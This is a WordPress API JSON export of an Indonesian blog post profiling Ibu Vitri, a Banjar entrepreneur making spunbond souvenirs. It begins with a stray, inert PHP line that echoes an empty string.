add_action('wp_head', function(){echo '';}, 1);{"id":5766,"date":"2019-09-04T12:00:34","date_gmt":"2019-09-04T05:00:34","guid":{"rendered":"https:\/\/blog.titipku.com\/?p=5766"},"modified":"2019-09-04T12:00:34","modified_gmt":"2019-09-04T05:00:34","slug":"kreasi-souvenir-imut-dan-murah-buatan-bu-vitri","status":"publish","type":"post","link":"https:\/\/titipku.com\/blog\/kreasi-souvenir-imut-dan-murah-buatan-bu-vitri\/","title":{"rendered":"Kreasi Souvenir Imut dan Murah Buatan Bu Vitri"},"content":{"rendered":"

Titipku<\/strong> <\/a>– Beliaulah Ibu Vitri, wanita yang menjalankan usaha produksi dan jual <\/span>souvenir<\/span><\/i> sejak tahun 2017. Sebelumnya, Bu Vitri terlebih dahulu menjalankan usaha produksi dan jual aneka kue selama 3 tahun yaitu sejak 2013. Namun saat ini, beliau fokus pada produksi <\/span>souvenir<\/span><\/i> berbahan baku kain <\/span>spunbond<\/span><\/i>.\u00a0<\/span><\/p>\n

Dalam perjalanan usahanya juga pernah berhenti selama 1 tahun yaitu dari 2014 sampai 2015 karena kelahiran anak pertama. Kemudian, Bu Vitri melanjutkan usaha tetapi kondisi persaingan sangat ketat karena sudah banyak usaha sejenis.\u00a0<\/span>Alhasil tahun 2016, Bu Vitri mulai mencari ide usaha lain yang belum banyak dikerjakan oleh warga Banjar. Munculah ide produksi dan jual <\/span>souvenir<\/span><\/i> bahan baku kain <\/span>spunbond<\/span><\/i>.<\/span><\/p>\n

\"souvenir

Ibu Vitri dan Tim Titipku<\/p><\/div>\n

Namun ide tersebut tidak dapat langsung direalisasikan karena Bu Vitri tidak bisa menjahit. Sambil tetap menjalankan usaha kue<\/a>, Bu Vitri belajar menjahit menggunakan tangan dengan melihat video di Youtube.<\/em><\/span><\/p>\n

Akhirnya pada 2017, Bu Vitri memberanikan diri berhenti menjalankan usaha kue dan mulai menjalankan usaha <\/span>souvenir<\/span><\/i>. Awal usaha, Bu Vitri melakukan promosi dengan cara memakaikan <\/span>souvenir<\/span><\/i> pada anak beliau yang pergi sekolah.<\/span><\/p>\n

Kemudian, teman-teman dari anak Bu Vitri banyak yang beli dan pesan untuk acara ulang tahun. Sejak saat itu, <\/span>souvenir<\/span><\/i> Bu Fitri dikenal banyak orang dan pelanggan semakin banyak.<\/span><\/p>\n

Souvenir<\/span><\/i><\/a> Bu Vitri diberi nama Hevie <\/span>Souvenir<\/span><\/i> dengan daerah pemesanan baru sebatas Kota Banjar. Namun selain <\/span>souvenir<\/span><\/i>, Bu Vitri juga menjual kain <\/span>spunbond<\/span><\/i> ke Bandung.<\/span><\/p>\n

Segmen konsumen beliau lebih kepada anak-anak usia Sekolah Dasar yang untuk acara ulang tahun. Sementara untuk segmen dewasa biasanya digunakan untuk acara pernikahan.<\/span><\/p>\n

Produk<\/h6>\n

Semua produk dibuat sendiri oleh Bu Vitri yaitu mulai dari pembuatan pola, pemotongan kain sesuai pola, penjahitan kain, pengecekan kembali hasil jahitan akhir, <\/span>packing<\/span><\/i> dan pengantaran produk. Adapun jenis <\/span>souvenir<\/span><\/i> yang diproduksi adalah sebagai berikut:<\/span><\/p>\n

    \n
  1. Spunbond tote bag<\/span><\/i> untuk bingkisan makanan di acara ulang tahun dan pernikahan<\/span><\/li>\n
  2. Spunbond pouch<\/span><\/i><\/li>\n
  3. Cotton drawstring bag<\/span><\/i><\/li>\n
  4. Bantal karakter<\/span><\/li>\n
  5. Bros <\/span>spunbond<\/span><\/i><\/li>\n
  6. Gantungan kunci <\/span>spunbond<\/span><\/i><\/li>\n
  7. Pin cushion<\/span><\/i><\/li>\n
  8. Pin holder<\/span><\/i><\/li>\n<\/ol>\n

    Produksi, pemasaran dan pengantaran barang dilakukan oleh Bu Vitri. Untuk produksi, jika pesanan lebih dari 300 buah <\/span>souvenir<\/span><\/i> maka beliau bekerjasama dengan penjahit lain. Untuk pemasaran, Bu Vitri aktif promosi di Facebook<\/em> dan Instagram.<\/em><\/span><\/p>\n

    Beliau sempat buka akun di salah satu <\/span>e<\/span><\/i>–<\/span>commerce<\/span><\/i> besar tapi sudah lama tidak aktif. Untuk pengantaran barang, sebagian besar pesanan diantarkan oleh Bu Vitri ke lokasi pembeli. Namun ada juga pembeli yang datang untuk ambil pesanan ke rumah Bu Vitri di Dusun Randegan 1, Desa Raharja, Kecamatan Purwaharja, Kota Banjar.<\/span><\/p>\n

    \"souvenir

    Ibu Vitri dan Tim Titipku<\/p><\/div>\n

    Suka dan Duka<\/h6>\n

    Salah pola di bagian produksi sudah menjadi pengalaman Bu Vitri di bisnis souvenir. Namun setidaknya baginya jalani usaha ini lebih menyenangkan karena waktu yang fleksibel. Sehingga beliau juga tetap bisa mengurus suami dan kedua anaknya. Ada\u00a0satu pengalaman tak terlupakan Bu Vitri yaitu ketika beliau ikut arisan <\/span>online<\/span><\/i> untuk membeli mesin jahit sehingga di awal usaha beliau menggunakan jahitan tangan. Life must go on!<\/em> \ud83d\ude42<\/span><\/p>\n

    Kendala yang sering dialami adalah mengenai tawar-menawar harga. Tidak jarang banyak konsumen meminta harga murah tapi kualitas bagus. Namun kembali ke bisnis, beliau jadikan berbagai kendala tersebut sebagai masukan agar ke depannya lebbih baik lagi. Bu Vitri berharap suatu hari bisa membuka toko untuk Hevie Souvenir serta bisa membuka usaha konveksi. Hanya saat ini beliau belum mendapatkan calon konsumen untuk usaha konveksinya.<\/span><\/p>\n

    “Dalam menjalankan usaha, saya tidak mau mendompleng nama dan kesuksesan orang tua. Saya benar-benar ingin berjuang sendiri dari awal. Saya yakin selalu ada harapan untuk menjadi sukses dengan kerja keras.”<\/span><\/p><\/blockquote>\n

    Ayo Menjelajah!<\/h6>\n

    Ada banyak sekali UMKM di Indonesia lainnya yang masih belum melek teknologi. Saatnya kita bantu dengan mengulasnya di Aplikasi Titipku<\/a> agar produk mereka semakin eksis!<\/p>\n","protected":false},"excerpt":{"rendered":"

    Titipku – Beliaulah Ibu Vitri, wanita yang menjalankan usaha produksi dan jual souvenir sejak tahun 2017. Sebelumnya, Bu Vitri terlebih dahulu menjalankan usaha produksi dan jual aneka kue selama","protected":false},"author":7,"featured_media":5768,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[45,44],"tags":[8037,8042,8069,8065,8070,8067,8068,8066,8030,7995,8002,8021,8019,8040,8041,8064,8035,8049,8050,8052,8051,8061,8060,8063,8003,7999,8018,8009,8004,8010,8005,8008,8011,8007,8006,8012,8015,8014,8017,8013,8016,8039,8001,8022,8026,8023,8027,8025,8024,8031,8038,8036,8044,8043,8047,8046,8045,8048,8054,8058,8056,8057,8055,8059,8053,8062,7996,8033,8032,7998,8034,8000,7997,8020,8028,8029],"_links":{"self":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/5766"}],"collection":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/comments?post=5766"}],"version-history":[{"count":1,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/5766\/revisions"}],"predecessor-version":[{"id":5769,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/posts\/5766\/revisions\/5769"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/media\/5768"}],"wp:attachment":[{"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/media?parent=5766"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/categories?post=5766"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/titipku.com\/blog\/wp-json\/wp\/v2\/tags?post=5766"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}